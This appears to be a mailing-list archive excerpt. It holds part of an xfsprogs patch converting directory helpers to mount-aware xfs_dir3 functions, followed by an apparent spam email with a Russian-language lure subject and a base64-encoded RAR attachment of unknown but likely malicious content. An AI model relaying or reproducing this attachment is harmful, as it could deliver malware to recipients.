XFS_DIR2_MAX_SHORT_INUM; offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(sfep->namelen); + xfs_dir3_data_entsize(mp, sfep->namelen); + ASSERT(xfs_dir3_sfe_get_ftype(mp, sfp, sfep) < + XFS_DIR3_FT_MAX); } ASSERT(i8count == sfp->i8count); ASSERT(XFS_BIG_INUMS || i8count == 0); ASSERT((char *)sfep - (char *)sfp == dp->i_d.di_size); ASSERT(offset + (sfp->count + 2) * (uint)sizeof(xfs_dir2_leaf_entry_t) + - (uint)sizeof(xfs_dir2_block_tail_t) <= - dp->i_mount->m_dirblksize); + (uint)sizeof(xfs_dir2_block_tail_t) <= mp->m_dirblksize); } #endif /* DEBUG */ @@ -804,7 +824,7 @@ xfs_dir2_sf_lookup( */ ci_sfep = NULL; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { /* * Compare name and if it's an exact match, return the inode * number. If it's the first case-insensitive match, store the @@ -814,7 +834,8 @@ xfs_dir2_sf_lookup( sfep->namelen); if (cmp != XFS_CMP_DIFFERENT && cmp != args->cmpresult) { args->cmpresult = cmp; - args->inumber = xfs_dir2_sfe_get_ino(sfp, sfep); + args->inumber = xfs_dir3_sfe_get_ino(dp->i_mount, + sfp, sfep); if (cmp == XFS_CMP_EXACT) return XFS_ERROR(EEXIST); ci_sfep = sfep; @@ -870,10 +891,10 @@ xfs_dir2_sf_removename( * Find the one we're deleting. */ for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { - ASSERT(xfs_dir2_sfe_get_ino(sfp, sfep) == + ASSERT(xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep) == args->inumber); break; } @@ -887,7 +908,7 @@ xfs_dir2_sf_removename( * Calculate sizes. */ byteoff = (int)((char *)sfep - (char *)sfp); - entsize = xfs_dir2_sf_entsize(sfp, args->namelen); + entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); newsize = oldsize - entsize; /* * Copy the part if any after the removed entry, sliding it down. @@ -1003,16 +1024,17 @@ xfs_dir2_sf_replace( * Normal entry, look for the name. */ else { - for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); - i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { #if XFS_BIG_INUMS || defined(DEBUG) - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(dp->i_mount, + sfp, sfep); ASSERT(args->inumber != ino); #endif - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + args->inumber); break; } } @@ -1120,13 +1142,13 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, - xfs_dir2_sfe_get_ino(oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); } /* * Clean up the inode. @@ -1195,13 +1217,13 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, - xfs_dir2_sfe_get_ino(oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); } /* * Clean up the inode. diff --git a/logprint/log_misc.c b/logprint/log_misc.c index 623245e..cf9d59d 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -565,7 +565,10 @@ xlog_print_trans_inode_core(xfs_icdinode_t *ip) } void -xlog_print_dir2_sf(xfs_dir2_sf_hdr_t *sfp, int size) +xlog_print_dir2_sf( + struct xlog *log, + xfs_dir2_sf_hdr_t *sfp, + int size) { xfs_ino_t ino; int count; @@ -587,21 +590,23 @@ xlog_print_dir2_sf(xfs_dir2_sf_hdr_t *sfp, int size) count = sfp->count; sfep = xfs_dir2_sf_firstentry(sfp); for (i = 0; i < count; i++) { - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(log->l_mp, sfp, sfep); memmove(namebuf, (sfep->name), sfep->namelen); namebuf[sfep->namelen] = '\0'; printf(_("%s ino 0x%llx namelen %d\n"), namebuf, (unsigned long long)ino, sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(log->l_mp, sfp, sfep); } } int -xlog_print_trans_inode(xfs_caddr_t *ptr, - int len, - int *i, - int num_ops, - boolean_t continued) +xlog_print_trans_inode( + struct xlog *log, + xfs_caddr_t *ptr, + int len, + int *i, + int num_ops, + boolean_t continued) { xfs_icdinode_t dino; xlog_op_header_t *op_head; @@ -695,7 +700,7 @@ xlog_print_trans_inode(xfs_caddr_t *ptr, case XFS_ILOG_DDATA: printf(_("LOCAL inode data\n")); if (mode == S_IFDIR) - xlog_print_dir2_sf((xfs_dir2_sf_hdr_t *)*ptr, size); + xlog_print_dir2_sf(log, (xfs_dir2_sf_hdr_t *)*ptr, size); break; default: ASSERT((f->ilf_fields & XFS_ILOG_DFORK) == 0); @@ -722,7 +727,7 @@ xlog_print_trans_inode(xfs_caddr_t *ptr, case XFS_ILOG_ADATA: printf(_("LOCAL attr data\n")); if (mode == S_IFDIR) - xlog_print_dir2_sf((xfs_dir2_sf_hdr_t *)*ptr, size); + xlog_print_dir2_sf(log, (xfs_dir2_sf_hdr_t *)*ptr, size); break; default: ASSERT((f->ilf_fields & XFS_ILOG_AFORK) == 0); @@ -857,14 +862,16 @@ print_lsn(xfs_caddr_t string, int -xlog_print_record(int fd, - int num_ops, - int len, - int *read_type, - xfs_caddr_t *partial_buf, - xlog_rec_header_t *rhead, - xlog_rec_ext_header_t *xhdrs, - int bad_hdr_warn) +xlog_print_record( + struct xlog *log, + int fd, + int num_ops, + int len, + int *read_type, + xfs_caddr_t *partial_buf, + xlog_rec_header_t *rhead, + xlog_rec_ext_header_t *xhdrs, + int bad_hdr_warn) { xfs_caddr_t buf, ptr; int read_len, skip; @@ -1011,7 +1018,7 @@ xlog_print_record(int fd, break; } case XFS_LI_INODE: { - skip = xlog_print_trans_inode(&ptr, + skip = xlog_print_trans_inode(log, &ptr, be32_to_cpu(op_head->oh_len), &i, num_ops, continued); break; @@ -1387,7 +1394,7 @@ void xfs_log_print(struct xlog *log, break; } - error = xlog_print_record(fd, num_ops, len, &read_type, &partial_buf, + error = xlog_print_record(log, fd, num_ops, len, &read_type, &partial_buf, hdr, xhdrs, first_hdr_found); first_hdr_found++; switch (error) { @@ -1488,14 +1495,9 @@ loop: } partial_log_read: - error= xlog_print_record(fd, - num_ops, - len, - &read_type, - &partial_buf, - (xlog_rec_header_t *)hbuf, - xhdrs, - first_hdr_found); + error= xlog_print_record(log, fd, num_ops, len, &read_type, + &partial_buf, (xlog_rec_header_t *)hbuf, + xhdrs, first_hdr_found); if (read_type != FULL_READ) len -= read_type; read_type = FULL_READ; diff --git a/repair/dir2.c b/repair/dir2.c index 05bd4b7..a856631 100644 --- a/repair/dir2.c +++ b/repair/dir2.c @@ -651,6 +651,7 @@ _("would correct bad hashval in interior dir block\n" */ void process_sf_dir2_fixi8( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *sfp, xfs_dir2_sf_entry_t **next_sfep) { @@ -680,10 +681,10 @@ process_sf_dir2_fixi8( xfs_dir2_sf_put_offset(newsfep, xfs_dir2_sf_get_offset(oldsfep)); memmove(newsfep->name, oldsfep->name, newsfep->namelen); - ino = xfs_dir2_sfe_get_ino(oldsfp, oldsfep); - xfs_dir2_sfe_put_ino(newsfp, newsfep, ino); - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep); - newsfep = xfs_dir2_sf_nextentry(newsfp, newsfep); + ino = xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep); + xfs_dir3_sfe_put_ino(mp, newsfp, newsfep, ino); + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep); + newsfep = xfs_dir3_sf_nextentry(mp, newsfp, newsfep); } *next_sfep = newsfep; free(oldsfp); @@ -708,8 +709,8 @@ process_sf_dir2_fixoff( for (i = 0; i < sfp->count; i++) { xfs_dir2_sf_put_offset(sfep, offset); - offset += xfs_dir2_data_entsize(sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + offset += xfs_dir3_data_entsize(mp, sfep->namelen); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } } @@ -771,7 +772,7 @@ process_sf_dir2( /* * check for bad entry count */ - if (num_entries * xfs_dir2_sf_entsize(sfp, 1) + + if (num_entries * xfs_dir3_sf_entsize(mp, sfp, 1) + xfs_dir2_sf_hdr_size(0) > max_size || num_entries == 0) num_entries = 0xFF; @@ -787,7 +788,7 @@ process_sf_dir2( sfep = next_sfep; junkit = 0; bad_sfnamelen = 0; - lino = xfs_dir2_sfe_get_ino(sfp, sfep); + lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); /* * if entry points to self, junk it since only '.' or '..' * should do that and shortform dirs don't contain either @@ -904,7 +905,7 @@ _("zero length entry in shortform dir %" PRIu64 ""), break; } } else if ((__psint_t) sfep - (__psint_t) sfp + - xfs_dir2_sf_entsize(sfp, sfep->namelen) + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ino_dir_size) { bad_sfnamelen = 1; @@ -975,7 +976,7 @@ _("entry contains offset out of order in shortform dir %" PRIu64 "\n"), bad_offset = 1; } offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(namelen); + xfs_dir3_data_entsize(mp, namelen); /* * junk the entry by copying up the rest of the @@ -992,7 +993,7 @@ _("entry contains offset out of order in shortform dir %" PRIu64 "\n"), name[namelen] = '\0'; if (!no_modify) { - tmp_elen = xfs_dir2_sf_entsize(sfp, + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, sfep->namelen); be64_add_cpu(&dip->di_size, -tmp_elen); ino_dir_size -= tmp_elen; @@ -1046,8 +1047,8 @@ _("would have junked entry \"%s\" in directory inode %" PRIu64 "\n"), next_sfep = (tmp_sfep == NULL) ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + ((!bad_sfnamelen) - ? xfs_dir2_sf_entsize(sfp, sfep->namelen) - : xfs_dir2_sf_entsize(sfp, namelen))) + ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) + : xfs_dir3_sf_entsize(mp, sfp, namelen))) : tmp_sfep; } @@ -1078,7 +1079,7 @@ _("would have corrected i8 count in directory %" PRIu64 " from %d to %d\n"), _("corrected i8 count in directory %" PRIu64 ", was %d, now %d\n"), ino, sfp->i8count, i8); if (i8 == 0) - process_sf_dir2_fixi8(sfp, &next_sfep); + process_sf_dir2_fixi8(mp, sfp, &next_sfep); else sfp->i8count = i8; *dino_dirty = 1; @@ -1271,12 +1272,12 @@ process_dir2_data( continue; } dep = (xfs_dir2_data_entry_t *)ptr; - if (ptr + xfs_dir2_data_entsize(dep->namelen) > endptr) + if (ptr + xfs_dir3_data_entsize(mp, dep->namelen) > endptr) break; - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != (char *)dep - (char *)d) break; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); lastfree = 0; } /* @@ -1533,7 +1534,7 @@ _("entry \"%*.*s\" in directory inode %" PRIu64 " points to self: "), /* * Advance to the next entry. */ - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } /* * Check the bestfree table. diff --git a/repair/dir2.h b/repair/dir2.h index 3d8fe8a..df68d5c 100644 --- a/repair/dir2.h +++ b/repair/dir2.h @@ -72,6 +72,7 @@ process_dir2( void process_sf_dir2_fixi8( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *sfp, xfs_dir2_sf_entry_t **next_sfep); diff --git a/repair/phase6.c b/repair/phase6.c index 3dec573..2a523ca 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -1518,12 +1518,12 @@ longform_dir2_entry_check_data( /* validate data entry size */ dep = (xfs_dir2_data_entry_t *)ptr; - if (ptr + xfs_dir2_data_entsize(dep->namelen) > endptr) + if (ptr + xfs_dir3_data_entsize(mp, dep->namelen) > endptr) break; - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != (char *)dep - (char *)d) break; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } /* did we find an empty or corrupt block? */ @@ -1612,7 +1612,7 @@ longform_dir2_entry_check_data( } addr = xfs_dir2_db_off_to_dataptr(mp, db, ptr - (char *)d); dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); inum = be64_to_cpu(dep->inumber); lastfree = 0; /* @@ -2244,7 +2244,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, bad_sfnamelen = 0; tmp_sfep = NULL; - lino = xfs_dir2_sfe_get_ino(sfp, sfep); + lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); namelen = sfep->namelen; @@ -2273,7 +2273,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, break; } } else if (no_modify && (__psint_t) sfep - (__psint_t) sfp + - + xfs_dir2_sf_entsize(sfp, sfep->namelen) + + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ip->i_d.di_size) { bad_sfnamelen = 1; @@ -2303,7 +2303,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, if (no_modify && verify_inum(mp, lino)) { next_sfep = (xfs_dir2_sf_entry_t *)((__psint_t)sfep + - xfs_dir2_sf_entsize(sfp, sfep->namelen)); + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen)); continue; } @@ -2411,7 +2411,7 @@ do_junkit: if (lino == orphanage_ino) orphanage_ino = 0; if (!no_modify) { - tmp_elen = xfs_dir2_sf_entsize(sfp, + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, sfep->namelen); tmp_sfep = (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + tmp_elen); @@ -2464,8 +2464,8 @@ do_junkit: next_sfep = (tmp_sfep == NULL) ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + ((!bad_sfnamelen) - ? xfs_dir2_sf_entsize(sfp, sfep->namelen) - : xfs_dir2_sf_entsize(sfp, namelen))) + ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) + : xfs_dir3_sf_entsize(mp, sfp, namelen))) : tmp_sfep; } @@ -2476,7 +2476,7 @@ do_junkit: } else { if (i8 == 0) { tmp_sfep = next_sfep; - process_sf_dir2_fixi8(sfp, &tmp_sfep); + process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); bytes_deleted += (__psint_t)next_sfep - (__psint_t)tmp_sfep; From adam@axtel.net Tue Sep 10 16:56:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A76467F53 for ; Tue, 10 Sep 2013 16:56:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EA522AC006 for ; Tue, 10 Sep 2013 14:56:56 -0700 (PDT) X-ASG-Debug-ID: 1378850213-04cbb02c3cec7550001-NocioJ Received: from ns1.line.ru (ns1.line.ru [91.215.252.2]) by cuda.sgi.com with ESMTP id gG8BHVoAqnfJ3wGS for ; Tue, 10 Sep 2013 14:56:54 -0700 (PDT) X-Barracuda-Envelope-From: adam@axtel.net X-Barracuda-Apparent-Source-IP: 91.215.252.2 Received: from localhost (localhost [127.0.0.1]) by ns1.line.ru (Postfix) with ESMTP id 44A11145A891; Wed, 11 Sep 2013 01:56:52 +0400 (MSK) X-Virus-Scanned: Debian amavisd-new at mail.line.ru Received: from ns1.line.ru ([127.0.0.1]) by localhost (ns1.line.ru [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 5-CYhEVz0AR1; Wed, 11 Sep 2013 01:56:51 +0400 (MSK) Received: from Unknown (unknown [222.174.54.164]) (Authenticated sender: marchenko@line.ru) by ns1.line.ru (Postfix) with ESMTPA id 5C4F1145A883; Wed, 11 Sep 2013 01:55:44 +0400 (MSK) Message-ID: <620596D436FB4EAC89092A18CC2445DB@dpkxxh> Reply-To: =?windows-1251?B?1MzR?= From: =?windows-1251?B?1MzR?= To: , , , Subject: =?windows-1251?B?z/Du4uXw6ugg1MzR?= Date: Tue, 10 Sep 2013 23:55:52 +0200 X-ASG-Orig-Subj: =?windows-1251?B?z/Du4uXw6ugg1MzR?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0FE2_01CEAE81.481F7B40" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: ns1.line.ru[91.215.252.2] X-Barracuda-Start-Time: 1378850214 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140507 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0FE2_01CEAE81.481F7B40 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0FE3_01CEAE81.481F7B40" ------=_NextPart_001_0FE3_01CEAE81.481F7B40 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=EE=E2=E5=F0=EA=E0 =D4=CC=D1 ------=_NextPart_001_0FE3_01CEAE81.481F7B40 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=F0=EE=E2=E5=F0=EA=E0 =D4=CC=D1
------=_NextPart_001_0FE3_01CEAE81.481F7B40-- ------=_NextPart_000_0FE2_01CEAE81.481F7B40 Content-Type: application/octet-stream; name="=?windows-1251?B?z/Du4uXw6uAg1MzRLnJhcg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?z/Du4uXw6uAg1MzRLnJhcg==?=" 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 